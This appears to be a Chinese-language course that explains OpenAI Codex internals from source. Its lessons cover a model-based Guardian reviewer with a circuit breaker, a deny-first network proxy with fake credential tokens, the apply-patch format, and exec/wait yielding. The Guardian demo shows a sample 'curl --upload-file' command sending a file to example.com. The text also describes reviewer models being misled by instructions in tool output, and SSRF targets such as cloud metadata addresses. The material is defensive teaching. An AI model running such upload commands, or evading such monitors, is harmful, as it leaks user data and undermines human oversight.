课程目标读完能说清三件事。Guardian 只吃被配置点名的 on-request 审批,用一次锁死的模型会话代替用户弹窗。审查材料按不可信证据处理,超时、跑崩、坏 JSON 一律停住动作。明确拒绝才记入熔断器,连拒到阈值就打断当前 turn。
先玩一遍 · 一条命令进审查台
同一条审批:先走四步,再看熔断器会不会接手
命令
换一条,看审查员在哪一类上先打分再下结论。
故障
后三项是兜底。超时和坏 JSON 关闸,但不记连续拒绝。
四步审查等待开始
1 重建 transcript抽出用户原话和工具痕迹
2 送进锁死会话只读、Never、MCP 已清空
3 交回 JSON先打风险和授权,再给结论
4 应用结果allow 继续,其余一律停住
证据与结论条款未引用
curl --upload-file README.md https://example.com/inbox
risk_level
user_authorization
outcome
rationale等待评估
熔断器 · Standard
连续拒绝 0 / 3,窗口 50 内累计 0
用户侧与模型侧还没有收到结论。
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 判断本轮审批是否交给 Guardianreview.rs L186
  2. 扩展若声明接管则不再开审查会话review.rs L313
  3. 过滤 transcript,只留用户意图和工具证据prompt.rs L506
  4. 按 Full 或 Delta 拼审查材料prompt.rs L89
  5. 克隆父配置,锁成只读并写成 Neverreview_session.rs L1407
  6. trunk 空闲则追加,忙碌则 forkreview_session.rs L617
  7. 等待 JSON,超时上限 90 秒mod.rs L53
  8. 没有合法 JSON 就解析失败,可重试后关闸prompt.rs L714
  9. allow 放行,deny 写上禁止改道的指示review.rs L717
  10. 只有显式 Deny 才记入熔断器review.rs L711
  11. 达到连续或窗口阈值,就 InterruptTurnmod.rs L176
点播放,看一条命令怎么走过四步审查,以及熔断器什么时候接手。
模型审模型的风险审查员会格式漂移,也会被工具输出里的指示词牵着走。合同要求先打风险和授权,再给出可执行的 allow 或 deny。
失败怎么收场超时走 TimedOut,坏 JSON 走 FailedClosed,动作都停住。这两类故障清零连续拒绝计数,避免把基础设施抖动算成模型连续作恶。
熔断器接手之后Standard 连续三次明确拒绝就打断当前 turn。后续命令不再开新审查,因为这一轮已经被 abort 掉了。
教学示意:评估字段按 policy.md 的 Outcome rule 推演,用于展示四步法与熔断器的结构差异。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 四步走完,中间态一律关闸
它解决什么问题

你开着 Codex 改仓库。模型先跑 git status,再读两个文件,然后要 git push。下一分钟它要 curl,再下一分钟要往 /tmp 写备忘,再下一分钟要删掉那份备忘。弹窗叠弹窗。人开始只看命令头两个词,拇指已经形成肌肉记忆。

这就是审批疲劳。防线还在,判断已经不在。回路退化成一个总是亮绿灯的按钮。这时如果把自动放行交给刚写出这条命令的主模型,申请人兼审批人。如果失败时放行,超时和坏 JSON 就变成免费通行证。

思路是什么

Codex 把该不该自动放行抽成一次专职审查。它不替代沙箱,也不替代网络代理。它只接管一类本来会弹给用户的 on-request 审批。路由很窄:策略必须是 OnRequestGranular,审查员必须是 AutoReview。默认审查员仍是用户。出处:codex-rs/core/src/guardian/review.rs 第 186 至 210 行

模块头把四步写死。

1 重建 transcript

只留用户原话和近期工具痕迹。合成脚手架、普通 developer 消息丢掉。超长内容打上 truncated 标记。

OpenAI Codex · 代码模式

网络与凭据代理:模型看不见的那把钥匙

出站要过几道门。真 token 不进子进程。模型看见的是假值和一句 403。

课程目标读完能说清三件事。域名怎么被判:先 deny,再本地,最后 allowlist。真 token 在 spawn 前换成同形状假值,出站时代理按 host 换回去。不肯走代理的客户端,会被操作系统沙箱按进同一条漏斗。
先玩一遍 · 一个带凭据的请求过代理
换域名、换方法,看请求在哪一关停下,假值在哪一步换成真值
域名
方法
模式
先看假值怎么换成真值。再换成 POST,或让 Go 绕过代理。
客户端
这次请求
GET https://api.github.com/repos/you/app/issues
Authorization
Bearer github_pat_dmy8f3a2
关卡 1 · 沙箱待命
只放行代理端口。直连 loopback 在这一关停。
关卡 2 · 域名待命
先 deny,再本地或私有,最后 allowlist。
关卡 3 · 方法待命
Limited 只放 GET、HEAD、OPTIONS。
关卡 4 · 凭据待命
请求头带着假值,才换成经纪里的真 token。
子进程环境GH_TOKEN = github_pat_dmy8f3a2
经纪内存真 token 锁在这里
模型上下文看不见真值
点播放,看这个请求依次走过四道关,假值在哪一步换成真值。
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 拉起命令前,把真 token 换成同形状假值credential_broker.rs L92
  2. 沙箱只放行代理端口,直连 loopback 到此为止seatbelt.rs L325
  3. 解析 host,deny 先判且恒胜runtime.rs L553
  4. 本地字面量没有精确允许,按私有地址拦runtime.rs L578
  5. 域名解析到非公网,即便在名单里也拦runtime.rs L582
  6. allowlist 为空或未命中,回 NotAllowedruntime.rs L598
  7. 只有 NotAllowed 才问决策器network_policy.rs L349
  8. Limited 下非 GET、HEAD、OPTIONS 就拦config.rs L311
  9. HTTPS 要看见内层方法,MITM 缺失就拦http_proxy.rs L312
  10. 请求头带着假值,才注入对应的真凭据mitm.rs L301
点播放,看这个请求依次走过四道关,假值在哪一步换成真值。
域名先判deny 恒胜。本地字面量要精确允许。解析到内网的名字,写进名单也过不了。
真钥匙不出经纪子进程环境和模型上下文始终是假值。真 token 只在出站那一步被换上去。
沙箱是漏斗口Go 绕过代理时,策略函数不会跑。操作系统只放行代理端口,直连在第一关就停。
教学示意:名单、假值形状与解析结果为课程化设定。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 域名怎么被判
它解决什么问题

你让模型去 GitHub 提一个 issue。它写出 curl,环境里有真 token。下一秒域名换成 evil.example,或者打到 169.254.169.254。只拦「不在名单里的域名」,deny 条目和内网地址会漏。空名单若默认放行,忘写配置等于全开。

思路是什么

判定顺序写死。先 deny,再本地或私有,最后 allowlist。空名单和没命中,都拦。决策器只能翻 allowlist 漏掉的案,翻不了 denylist,也翻不了本地网段。

出处:codex-rs/network-proxy/src/runtime.rs 第 549 至 552 行;codex-rs/network-proxy/src/network_policy.rs 第 346 至 378 行;codex-rs/network-proxy/README.md 第 161 至 162 行

*.example.com 不含 apex,**.example.com 才含。解析到私有 IP 的域名,精确写进名单也拦。本地字面量要精确写上 localhost127.0.0.1,通配 * 不算。

出处:codex-rs/network-proxy/src/policy.rs 第 321 至 331 行;codex-rs/network-proxy/src/runtime.rs 第 1028 至 1043 行

解析 host 失败也拦 1 deny 命中即停 403 denylist 2 本地或私有 字面量要精确 403 allowlist 3 allowlist 空名单也拦
教学化结构图:三步顺序固定。Denied 和 NotAllowedLocal 不会去问决策器。

被拦时回给命令进程 403,头是 x-proxy-error,正文是一句人话。not_allowednot_allowed_local 对外都叫 blocked-by-allowlist,正文才能分开「不在名单」和「沙箱拦了本地」。这条 403 变成 exec 输出喂回模型,采样循环不会停。

出处:codex-rs/network-proxy/src/responses.rs 第 52 至 83 行

同一 pattern 既 allow 又 deny,有效值取大的。枚举序是 None < Allow < Deny

出处:codex-rs/network-proxy/src/config.rs 第 19 至 27 行

为什么长期成立

默认拒绝、deny 恒胜、内网要显式开门,这是 SSRF 防护的通用形状。换语言重写,该问的还是同一组问题:没写名单时怎么办,冲突时谁赢,解析到内网的名字算不算放行。

思路二 · 真钥匙只在代理里出现
它解决什么问题

token 跟着命令进 rollout。下一轮模型还能看见它,再下一轮可能进日志。凭据一旦进入模型上下文,后面每一层脱敏都是补救。

思路是什么

拉起命令前,凭据经纪把 GH_TOKENOPENAI_API_KEY 换成同长度、同前缀的假值。模型若 printenv,看见的是假的。假值进上下文,对上游无用。

出处:codex-rs/network-proxy/src/credential_broker.rs 第 92 至 119 行

出站时 MITM 按 host 过滤。请求头里必须带着假值,才换成真值。hook 的剥头、注头发生在经纪之后,可以剥掉刚注入的 Authorization。用户改过的环境值不还原。标记当不可信输入。经纪只覆盖 GitHub 和 OpenAI。

出处:codex-rs/network-proxy/src/mitm.rs 第 297 至 302 行

模型 看不见真 token 子进程环境 同形状假值 代理 MITM 按 host 换真值 上游 真 token 真值只在代理进程内存里出现,不进 rollout,也不进模型下一轮上下文
教学化时序:假值走全程可见面,真值只在出站那一跳出现。
子进程口袋里是假票根,柜台后面锁着真票。
为什么长期成立

出网策略写错,模型还能凭 403 改主意。凭据进上下文,撤销成本高。所以真值在 spawn 前拿走,回填发生在代理进程内存里。假值保持形状,是为了让校验格式的客户端还能启动。

思路三 · 沙箱把流量按进代理
它解决什么问题

Go 的 net/http 对 loopback 绕过 HTTP_PROXY。你以为流量进了代理,其实它直连 127.0.0.1。本地有管理口、docker socket。策略文件写了名单,请求根本没走到那一层。

思路是什么

沙箱只放行代理端口。macOS 受限 Seatbelt 只写 localhost:{port}。Linux 走 ProxyOnlyallow_local_binding 为假时,NO_PROXY 写成空串,loopback 字面量也必须走代理。打开本地绑定等于承认 loopback 不再经过 allowlist。

出处:codex-rs/sandboxing/src/seatbelt.rs 第 309 至 336 行;codex-rs/network-proxy/src/proxy.rs 第 450 至 460 行

为什么长期成立

应用层代理挡不住不肯走代理的客户端。下一层必须是操作系统或防火墙,只留一个口。三道门叠在一起才构成托管网络。单独一道都挡不住另一道漏掉的面。

横向对比 · 阀门装在不同的层

Grok:阀门在工具入口,loopback 默认放行

Grok 的 web_fetch 在工具内部做域名名单和解析后 IP 检查。空名单拦所有 URL,和 Codex 的 allowlist-first 同方向。path 还可以写成前缀,收窄到某一段文档。

SSRF 检查拦 RFC1918、link-local、CGNAT。loopback 明确放行,注释写 local development。bash 里的 curl 不走这张名单。Codex 把阀门放在所有子进程出口,所以要和沙箱绑在一起。

两侧均已核对源码 · 2026-08-22 · 出处:web_fetch/domain.rs 第 110 至 144 行;web_fetch/ssrf.rs 第 17 至 19 行

DSH:配置只存变量名,spawn 时按键名擦环境

DSH 把密钥做成引用。设置文件只带环境变量名,provider 在每次操作时 resolve。配置表面从不看见值。

子进程另有一层擦除。名字像 KEYTOKEN 的键和所有 DSH_* 会被丢掉。它挡得住配置文件里出现真值。模型若还能 printenv,除非 spawn 用了这层擦除,环境里仍可能有真 token。

两侧均已核对源码 · 2026-08-22 · 出处:packages/credentials/credentials/src/index.ts 第 1 至 7 行;packages/subprocess/subprocess/src/index.ts 第 60 至 66 行 · DSH · 凭据每次现取
课堂练习
01

星号放行 localhost 吗

allow_local_binding = false,allowlist 只有 *。对 127.0.0.1 调一次判定,期望是什么。对公网 IP 8.8.8.8 再调一次,期望又是什么。

提示:本地字面量拒绝通配。allowlist 编译显式允许全局 *,denylist 编译拒绝它。

Takeaway:出站默认拒绝,deny 恒胜,内网要精确开门。真密钥不要进模型可见的环境,spawn 前换成假值,出站再换。代理挡不住绕过它的客户端,下一层必须是只放行代理端口的沙箱。
OpenAI Codex · 代码模式

apply-patch,给模型设计一种 diff

模型填一份没有行号的补丁,人看的是事后算出来的 unified diff。同一处修改,两套格式各自会在哪一步翻车。

课程目标读完能说清两件事:给模型的 diff 为什么只写一行上下文锚点,不写 @@ -l,s +l,s 那四个数字;以及上下文对不上时,单文件为什么整份不落盘,跨多个文件时这个保证为什么不成立。
先玩一遍 · 同一处修改,两种写法
greet 里的 pass 换成 return 123
磁盘上的文件
切到插了两行,左边四个数字会偏。切到锚点丢了,右边会停笔。
unified diff四个数字要填对
等待开始。
apply-patch一行锚点现搜
@@ def greet():
等待开始。
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 文法里的 @@ 只有锚点,没有起始行和跨度parser.rs L20
  2. 更新文件的 chunks 必须按在文件中出现的先后排列parser.rs L74
  3. change_context 时,从 line_index 往下搜这一行file_update.rs L99
  4. 先整行精确比,再抹掉行尾空白,再两边 trimseek_sequence.rs L40
  5. 锚点找不到,立刻报 Failed to find context,不按附近行猜file_update.rs L109
  6. 单文件全部 chunk 在内存里算完,才调用 write_filelib.rs L695
  7. 跨文件失败时带着已经提交的 delta 返回,没有回滚lib.rs L453
  8. 给人看的 unified diff 是事后用 TextDiff 另算的file_update.rs L328
点播放,看同一处修改在两种 diff 写法下怎么定位。
四个数字unified diff 的 @@ 头要同时填对旧起始、旧跨度、新起始、新跨度。文件上面插两行,这四个数字一起废。
一行锚点apply-patch 只写 @@ def greet():,运行时现搜。插两行也能对上,因为行号根本没进这份格式。
对不上就停锚点行被改掉时,右边报 Failed to find context,这个文件保持原样。左边那种格式会在行号附近 fuzz,有可能贴到邻近函数。
教学示意:文件行块与行号是课程化设定,用来对照两种格式的定位方式。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 模型填一份格式,人看另一份
它解决什么问题

你让模型改一个函数:把 greet 里的 pass 换成 return 123。它吐出标准 unified diff,头一行写成 @@ -47,3 +47,3 @@

文件刚才被另一处编辑插了两行,greet 已经在第 49 行。模型是在带行号的摘录里数的,写补丁时还要自己加算起始行和跨度。这四个数字一起错,是常态。

patch(1) 会按行号去找,找不到就 fuzz。fuzz 再失败,整份补丁作废。更麻烦的是它可能把变更贴到邻近的另一个函数上。测试还是绿的,只是改错了函数。

思路是什么

Codex 把填写和阅读拆开。模型填的那份没有行号。更新一段时,头一行只写成 @@ def greet():。单独一个 @@ 表示从当前位置继续搜。定位交给运行时的 seek_sequence

人看变更时,界面上再另外用 similar::TextDiff 生成一份标准 unified diff。工具参数里那份 Codex 格式到这里已经用完了。

出处:codex-rs/apply-patch/src/file_update.rs 第 328 至 329 行

这份文法把没有行号写进了产生式。两种 @@ 写法都只带文本锚点:

codex-rs/apply-patch/src/parser.rs第 20 至 22 行
//! change_context: ("@@" | "@@ " /(.+)/) LF
//! change_line: ("+" | "-" | " ") /(.+)/ LF
//! eof_line: "*** End of File" LF
源码快照说明:依据本地仓库 openai/codex,核对文件 codex-rs/apply-patch/src/parser.rs,commit 4f39251a01,核对日期 2026-08-22。代码块保留源码原文,这三行就是给模型的 diff 头:有锚点,没有行号。

发给模型的说明书把这套语言写成「stripped-down, file-oriented diff format designed to be easy to parse and safe to apply」。Add、Delete、Move 在文法里是三种标记,解析器按标记分发。模型不用记 ---+++/dev/null 和 rename 头怎么拼。

模型填写 模型 写一份补丁 apply-patch @@ 锚点,没有行号 seek_sequence 在磁盘上现搜,算出新内容 人阅读 已经算好的新旧文本 工具参数里那份格式到此用完 TextDiff 事后生成 unified diff 界面 给人看的那一份
教学化结构图:同一处修改,模型填锚点,人看行号。
为什么长期成立

坐标靠加算,内容靠识别。模型数行号这件事,换一个模型、换一种语言都好不到哪去。把找到哪一段从填写时的算术,改成应用时的字符串搜索,这个分工不依赖 Rust,也不依赖 unified diff 这个具体格式。

思路二 · 空白可以放宽,位置不猜
它解决什么问题

模型写补丁时,行尾多一个空格,或者文件里是 en-dash、它写成了减号,都是高频事故。每次都整份失败,模型只能重写。按行号附近再试几行,又会回到 fuzz 贴错函数的老路。

思路是什么

seek_sequence 按四档从紧到松搜。第一档整行精确相等。第二档去掉行尾空白再比。第三档两边都 trim()。第四档把常见 Unicode 短横和弯引号收成 ASCII。四级都失败就返回空,报「Failed to find context」或「Failed to find expected lines」。没有按附近几行再试这个循环。

出处:codex-rs/apply-patch/src/seek_sequence.rs 第 40 至 114 行

早期有一次事故,专门为奇怪的 Unicode 字符加了第四级。它只放宽空白和标点,不放宽位置。中文全角引号不在归一化表里,模型写了全角左引号,文件里是半角引号,四级都会失败。

精确相等 trim_end 两边 trim normalise 四级都失败,返回空 没有按行号上下挪几行再试 立刻报错
教学化流程图:空格和短横可以过,行号偏移不在这四级里。
为什么长期成立

容错要分清两类差异。行尾空格、弯引号是无意义的字节差,可以归一。行号偏了两行,是贴错地方,应该报错让模型重写。这个分界换语言重写也成立。

思路三 · 单文件算完再写,跨文件没有事务
它解决什么问题

一份补丁里有两个 chunk。第二个对不上,第一个已经改进去了,文件会变成半成品。排查的人看到的是一份应用成功了一半的文件,比整份失败更难修。

思路是什么

单文件内部,compute_replacements 把每个 chunk 先收成替换列表,某一个对不上就立刻返回错误,还没走到 write_file。这个文件保持原样。

出处:codex-rs/apply-patch/src/file_update.rs 第 109 至 113 行

跨文件是另一回事。apply_hunks_to_files 按 hunk 顺序写盘,失败时带着已经提交的 AppliedPatchDelta 返回,循环里没有回滚。测试 015 把这个钉死了:先成功新增 created.txt,再更新一个不存在的文件,磁盘上 created.txt 还在。

出处:codex-rs/apply-patch/src/lib.rs 第 453 行,以及第 504 行起的 hunk 循环
同一个文件里的两个 chunk chunk 1 在内存里算完 chunk 2 对不上,返回 write_file 还没走到,文件原样 两个文件级 hunk Add File 已经写盘 Update 一个不存在的路径 delta 留下,created.txt 还在
教学化对照:没有部分成功这个保证,只对单个文件成立。
模型填锚点。人看行号。单文件对不上就不写。
为什么长期成立

算完再提交的范围,要和你能原子处理的单位对齐。一个文件可以先在内存里算完全部替换再写一次。多个文件已经落到磁盘上,回滚就要再写一遍,还要处理 Move 这种源和目标都动过的半成功。要不要跨文件事务,是产品选择,不是格式本身的承诺。写给模型的说明里,别把单文件的保证说成全局保证。

横向对比 · 同一道题的另一种答法

DeepSeek Harness:先读过,才能改

DSH 的 editIntent 查的是这个 session 有没有观测过这个文件。没观测过就抛 FS_NOT_OBSERVED。观测记录的是 dev:ino:size:mtimeNs:ctimeNs 拼出来的版本,不是内容 hash。

即便过了这道门,applyLiteralEdit 默认还要求 old_string 只出现一次,多处命中就抛 FS_AMBIGUOUS_EDIT。防错挂在事件门禁和字面量唯一上。Codex 没有先读约束,定位信息写在补丁里,运行时现搜;old_lines 出现两次时取第一处,没有歧义报错。

两侧均已核对源码 · 2026-08-22 · DSH · 文件编辑的工程学

Claude Code:没读过就拒绝,多处命中也拒绝

FileEditTool 同时要两件事。文件必须先读过,没读过报 errorCode 6,原文是 File has not been read yet。 old_string 在文件里多于一处且 replace_all 为假时,报 errorCode 9,要求补更多上下文,把这一处单独标出来。

模糊只覆盖引号。findActualString 先精确搜,再把弯引号收成直引号搜。没有 Codex 那种行尾空白三级,也没有短横归一化。想少一次工具往返,抄 Codex 的格式;想对模型错误信息更具体,抄这几条带 errorCode 的拒绝文案。

两侧均已核对源码 · 2026-08-22
课堂练习
01

两段相同的 old_lines,改哪一段

文件里有两段完全相同的 old_lines,模型只想改第二段,却没有给足够的 @@ 锚点。seek_sequence 会改哪一段,为什么?

进阶一问:若希望单独命中第二段,锚点应该写在哪一行前面?同一份补丁里若先成功新增一个文件,再更新一个不存在的路径,磁盘上会留下什么?

Takeaway:给模型的 diff 不要行号,定位交给运行时搜上下文。空白和标点可以逐级放宽,位置不猜。单文件对不上就不写盘;跨多个文件时,已经写下的文件会留在磁盘上。
OpenAI Codex · 代码模式

exec 与 wait:跑不完的程序怎么收场

与其让模型发二十次工具调用,不如让它写一段 JavaScript。这段程序在哪跑、能干什么、十秒跑不完又怎么办,本课讲这三个问题背后的两个思路。

课程目标读完能说清两件事:为什么给模型的运行时要做减法,减到没有 Node、没有文件系统、没有网络、连 console 都没有;以及一段程序在预算内跑不完的时候,为什么 Codex 把它记成「还在跑」,不记成一次失败。
先玩一遍 · 预算到点,杀掉还是让出
同一段程序:六个子任务,每个约两秒,一共十二秒
预算
左边把它当墙钟上限,右边把它当让出间隔。调大到 20 秒,两边的差别会消失。
到点终止0/6 有效0段交付
等待开始。
到点让出0/6 完成0次往返
等待开始。
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 模型可以在首行写一句 pragma,声明这次给多少让出时间description.rs L22
  2. 执行入口把这个毫秒数换成「跑到点就观察一次」的模式service.rs L77
  3. 超过十秒的预算再送一秒宽限,另受服务端上限封顶service.rs L198
  4. 定时器到点,把攒下的输出整包交出去,缓冲同时清空cell_actor/mod.rs L242
  5. 让出这件事被翻译成一句模型读得懂的话,带上 cell 编号code_mode/mod.rs L283
  6. 模型拿编号回来续跑,还能顺手改预算、限长度或直接叫停wait_handler.rs L24
  7. 脚本跑完,返回结果并关闭这个 cellruntime.rs L24
点播放,看同一段程序在两种超时策略下怎么收场。
成果去向到点终止那边,已经跑完的子任务成果跟着进程一起消失,模型只收到一条超时消息,没有任何可用的中间结果。
续跑的代价到点让出那边,模型多花了几次往返,换来的是六个子任务全部完成,而且每次让出都能看见新进展。
预算够用的时候把预算调到 20 秒,两边都是一次跑完。这两种策略的差别只在预算不够的时候才显现。
教学示意:子任务数量与耗时为课程化设定,用于展示两种超时策略的结构差异。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 给模型一个运行时,然后把它削到最小
它解决什么问题

读五个文件再汇总,用普通工具调用要走五次完整往返。每次往返把整个文件内容推进上下文,模型下一轮还得把滚大的历史重读一遍。真正贵的地方在往返的节奏上,工具本身不贵。

那让模型写程序不就行了。麻烦在于,这段程序没有任何人审过一行,模型现写现交。给它一个能读文件、能发网络请求的运行时,等于把宿主的全部能力直接交出去。

思路是什么

Codex 给模型两个工具,execwaitexec 收一段 JavaScript 源码,扔进一个全新的 V8 isolate 当 async module 求值。所有工具挂在全局 tools 对象上,名字被规范化成合法的 JS 标识符,写起来就是 await tools.exec_command(...)。程序里想循环就循环、想分支就分支,中间值留在变量里,只有主动交出去的那部分回到模型。

关键在于这个运行时被削得很薄。工具说明书里对模型直说了它没有什么:

codex-rs/code-mode-protocol/src/description.rs第 20 至 25 行
- Runs raw JavaScript -- no Node, no file system, no network access, no console.
- Accepts raw JavaScript source text, not JSON, quoted strings, or markdown code fences.
- You may optionally start the tool input with a first-line pragma like `// @exec: {"yield_time_ms": 10000, "max_output_tokens": 1000}`.
- `yield_time_ms` asks `exec` to yield early if the script is still running. Defaults to 10000 ms.
- `max_output_tokens` sets the token budget for direct `exec` results. Defaults to 10000 tokens.
- When the JS code is fully evaluated, the isolate's lifetime ends and unawaited promises are silently discarded.
源码快照说明:依据本地仓库 openai/codex,核对文件 codex-rs/code-mode-protocol/src/description.rs,commit 4f39251a01,核对日期 2026-08-22。代码块保留源码原文,这段文本本身就是发给模型的工具说明。

没有 Node,没有文件系统,没有网络,连 console 都没有。这些能力不是忘了加,是特意不给。程序想产生任何副作用,只剩一条路,走 tools。那条路上审批和沙箱一样不少,该弹的窗照弹,该拦的照拦。

附带好处是要审查的面积小了。isolate 里如果能直接读文件,这一层就得自己再做一套文件权限;现在它什么都做不了,权限判断留在下一层就够,代码不用写两遍。

逐个调用 模型 工具 每一次往返都要一轮采样,中间结果整段进上下文 写一段程序 模型 采样一轮 V8 isolate 没有 Node、文件系统、网络与 console,副作用只能走 tools 一段 JavaScript 只有主动交出去的部分
教学化结构图:同一件活,上面走多次往返,下面走一次。
为什么长期成立

往返贵、批处理便宜,这是几十年的老账。数据库有批量写入,RPC 框架都在攒 batch。模型采样一轮比一次网络往返贵得多,把 N 次合成一次,收益只会更夸张。

减法这一半更通用。给不受信任的代码一个尽量小的环境,让它想干坏事都没有接口可用,这是安全设计的通用形状,和 V8 这个具体技术没关系。换成别的语言、别的沙箱,该问的还是同一个问题:这段代码到底需要哪几样能力,其余的能不能一样都不给。

思路二 · 跑不完不叫失败,叫还在跑
它解决什么问题

程序要跑三分钟,超时该设多少。

设成三分钟,用户三分钟看不到动静,也没地方喊停。设成十秒,长任务永远做不完,更难受的是前面九秒的成果跟着一起丢,模型只收到一条超时消息,只能从头再来。两个方向都不对,问题出在把「还没跑完」当成了失败。

思路是什么

Codex 把正在跑的脚本做成一个有身份的东西,叫 cell。yield_time_ms 到点,cell 不死,它把这段时间攒下的输出整包交出去,然后清空缓冲继续跑。exec 这时返回一句话,告诉模型脚本还在跑,编号是多少。

模型拿到编号,手上就有三个选择:调 wait 再买一段时间;带 terminate: true 把它停掉;或者干脆先去干别的。wait 只返回上次让出之后的新输出,因为交出去的时候缓冲就被清空了,同一段内容不会重复占两次上下文。

到点终止 脚本运行中,输出攒在缓冲里 墙钟到点,进程终止 攒下的输出一起消失 预算到点 到点让出 脚本运行中,输出攒在缓冲里 整包交出,缓冲清空 脚本继续跑 wait 续跑 只收新增的那一段 预算到点
教学化时序图:同一个时刻,一边终止进程,一边交出成果继续跑。

有个小细节很能说明设计者在想什么。让出时间超过十秒时,Codex 会额外再送一秒宽限,然后才真的观察。出处:codex-rs/code-mode-runtime/src/service.rs 第 198 至 210 行刚好卡在边界上完成的脚本,不会因为差几毫秒白白多走一次往返。

还有一处不对称值得记一笔。发给模型的说明书里,wait 有四个参数:cell 编号、让出时间、返回长度上限、要不要终止。可协议层的请求结构体只带前两个,后两个停在处理器那一层,终止走的是另一条路径,长度上限是拿到结果之后才截断的。读源码的时候这两层很容易混成一层。

预算到点,不杀掉,先交作业。
为什么长期成立

把「还没结束」做成一等状态,是长任务接口的通用形状。HTTP 有 202 加轮询,任务队列有 job id 加 poll,导出大文件的后台任务也是先给你一个编号。共同点是不让调用方在「一直等」和「当作失败」之间二选一,而是给一个可以再问一次的把手。

放到 agent 上,这个把手还多一层价值。模型拿到中间输出之后可以改主意,发现前四步的结果不对,直接 terminate,不用陪着跑完剩下八分钟。控制权回到了会思考的那一方手里。

横向对比 · 同一道题的另一种答法

超时:DeepSeek Harness 选择杀掉

DSH 的 run_code 用两本账。一本记忙碌时间,靠轮询 worker 的事件循环利用率,热循环藏不住,干等慢工具也不冤枉计费。另一本记墙钟,到点直接终止 worker。默认是六万毫秒和六十万毫秒。

代价很清楚:一次 run_code 必须在预算内结束,超时就是失败,没有「同一段程序接着跑」这种一等状态。换来的是实现简单,宿主不用维护一堆还活着的 cell。Codex 反过来,模型要多学一个 wait 协议,cell 会在会话里占着资源,直到跑完、被停掉或者会话结束。

两侧均已核对源码 · 2026-08-22 · DSH · Code Mode

状态:一次性的世界,还是留着的抽屉

DSH 的设计笔记写得很直白,程序所在的世界会随 worker 一同终止,不做池化,也不做跨运行状态。需要传给下一次的东西,要么写进工具结果,要么落到工作区文件里。好处是每次运行都是干净的新世界,出了问题容易重放。

Codex 给了 storeload,同一个会话里的多次 exec 可以共享数据,跨会话则互相看不见。编排起来方便,代价是清理责任落回自己身上:这个抽屉没有单条大小上限,只拒绝存不进 JSON 的值,也没有过期时间,要等整个会话结束才随运行时一起释放。

两侧均已核对源码 · 2026-08-22
课堂练习
01

让出预算怎么算才不亏

一段程序要跑四十秒,让出预算默认十秒。推演一下:模型一共要发几次 wait,每次拿到的是全部输出还是新增的那一段,为什么把默认值改成三十秒并不总是更划算。

进阶一问:如果程序在第三十五秒把一个很大的对象放进了 store,随后模型决定 terminate,这个对象什么时候被清掉,谁来管它的大小。

Takeaway:让模型写程序,把 N 次往返压成一次。给这段程序的运行时做减法,没有 Node、文件系统、网络和 console,副作用只能走工具那条已经有审批的路。预算到点先交作业再续跑,把「还没跑完」做成一等状态,成果不丢,控制权还给模型。
OpenAI Codex · 代码模式

宿主拆分:程序挂在谁身上

上一课讲 exec 和 wait 的语义。这一课问另一件事:这段 JavaScript 到底挂在谁身上,挂点换了之后,故障域和状态归属怎么变。

课程目标读完能说清三件事。第一,默认已经是独立宿主进程,主进程只握着会话提供方。第二,isolate 可以搬家,嵌套工具的审批还在本机。第三,宿主崩了或掉线,正在跑的 cell 和 store 一起没了,重连只能再 exec,不能接着刚才那段脚本。
先玩一遍 · 同一段 JS,四种宿主
同一段脚本:store、嵌套命令、再 wait
宿主
左边固定 DSH 的进程内 worker。右边换 Codex 的提供方,看隔离边界、寿命和崩了谁还活着。
中断杀 cell
默认关。关掉时,Ctrl-C 只取消这一轮,宿主上的脚本还能接着跑。
DSH · 进程内 worker对照,不随开关变
主进程这栋楼
worker 小房间空着
隔离同一进程,不同线程
寿命一次 run 一个新 worker
等待开始。
Codex · 本地子进程ProcessOwned
Codex 主进程
握着提供方
stdio
宿主进程
isolate 还没起来
工具回调还没出门
隔离操作系统进程
cell / store还没有
等待开始。
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. thread manager 按特性挑选提供方thread_manager.rs L455
  2. 本地提供方检查宿主文件是否存在remote_session.rs L70
  3. spawn 宿主,Unix 上单独进程组connection.rs L217
  4. 握手后 session/open,宿主里 new 进程内会话lib.rs L602
  5. 嵌套工具经 RemoteDelegate 打回本机delegate.rs L27
  6. app-server 按 URL 方案换成 WS 或 gRPCcode_mode_host.rs L32
  7. gRPC 丢掉 lease 就关会话session.rs L105
  8. 重连后 cell ID 加世代前缀generation.rs L49
  9. 中断是否 terminate 看特性开关tasks/mod.rs L888
  10. 宿主不可用时,工具模式退回 Directtools/mod.rs L79
点播放,看同一段 JS 换宿主之后,崩了谁还活着、旧 cell 还能不能 wait。
隔离边界DSH 的程序和主进程住同一栋楼。Codex 默认再加一层操作系统进程,远端还可以再加一台机器。
审批还在本机求值搬家了,嵌套 exec_command 仍绕回 session owner。宿主里没有审批窗,也没有 execpolicy。
失败之后宿主崩了或掉线,cell 和 store 一起丢。重连能再 exec,不能接着刚才那段脚本。gRPC 第二代还会给 cell 改名。
教学示意:四种宿主对应四个会话提供方。进程内求值仍画在宿主屋子内部,当前生产接线不再把它做成主进程上的一档。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 求值从主进程拆出去
它解决什么问题

模型写一段 while (true) {},上一课见过,要靠 isolate 的 terminate 才能打断。这段程序如果和 Codex 事件循环抢同一个进程,卡死会从单个 cell 扩大到整条会话。

V8 的堆、JIT、没有条目上限的 store 表,任意一项在主进程里爆炸,都会带走 TUI 或 app-server。早期资料常把默认路径写成「主进程里直接跑 isolate」。当前特性注释已经把这句话改掉了。

出处:codex-rs/features/src/lib.rs 第 104 至 111 行

思路是什么

Codex 给「跑模型写的代码」留了一个提供方接口。业务层只依赖 CodeModeSessionCodeModeSessionProvider,自己不去 new 运行时。协议把会话收成四件事:executewaitterminateshutdown。实现可以进程内,也可以远端。同会话共享 store,异会话隔离。

出处:codex-rs/code-mode-protocol/src/session.rs 第 146 至 167 行

